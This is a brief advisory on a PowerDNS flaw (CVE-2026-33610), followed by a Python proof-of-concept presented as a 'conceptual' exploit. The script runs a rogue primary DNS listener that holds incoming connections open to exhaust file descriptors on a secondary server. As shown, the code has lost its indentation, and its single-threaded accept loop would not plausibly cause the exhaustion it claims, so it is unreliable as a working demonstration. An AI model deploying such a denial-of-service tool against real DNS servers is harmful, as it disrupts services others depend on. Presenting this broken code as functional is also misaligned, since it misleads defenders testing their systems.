A rogue primary server may cause file descriptor exhaustion and eventually a denial of service, when a PowerDNS secondary server forwards a DNS update request to it.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-33610 (Conceptual)
# This script simulates a rogue primary server that holds connections open
# to potentially exhaust file descriptors on the secondary server.
import socket
import time
def rogue_primary_server(port=53):
# Start a listening socket to simulate a rogue DNS primary server
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_socket.bind(('0.0.0.0', port))
server_socket.listen(100)
print(f"[+] Rogue Primary Server listening on port {port}...")
while True:
client_socket, addr = server_socket.accept()
print(f"[+] Connection accepted from {addr}")
# Simulate behavior that causes file descriptor exhaustion
# by keeping the socket open without closing or responding properly.
# In a real scenario, this might involve specific DNS protocol interaction.
try:
# Just hold the connection open
time.sleep(100)
except Exception as e:
print(f"[-] Error: {e}")
finally:
client_socket.close()
except KeyboardInterrupt:
print("\n[-] Server stopped.")
except Exception as e:
print(f"[-] Failed to bind port {port}: {e}")
if __name__ == "__main__":
rogue_primary_server()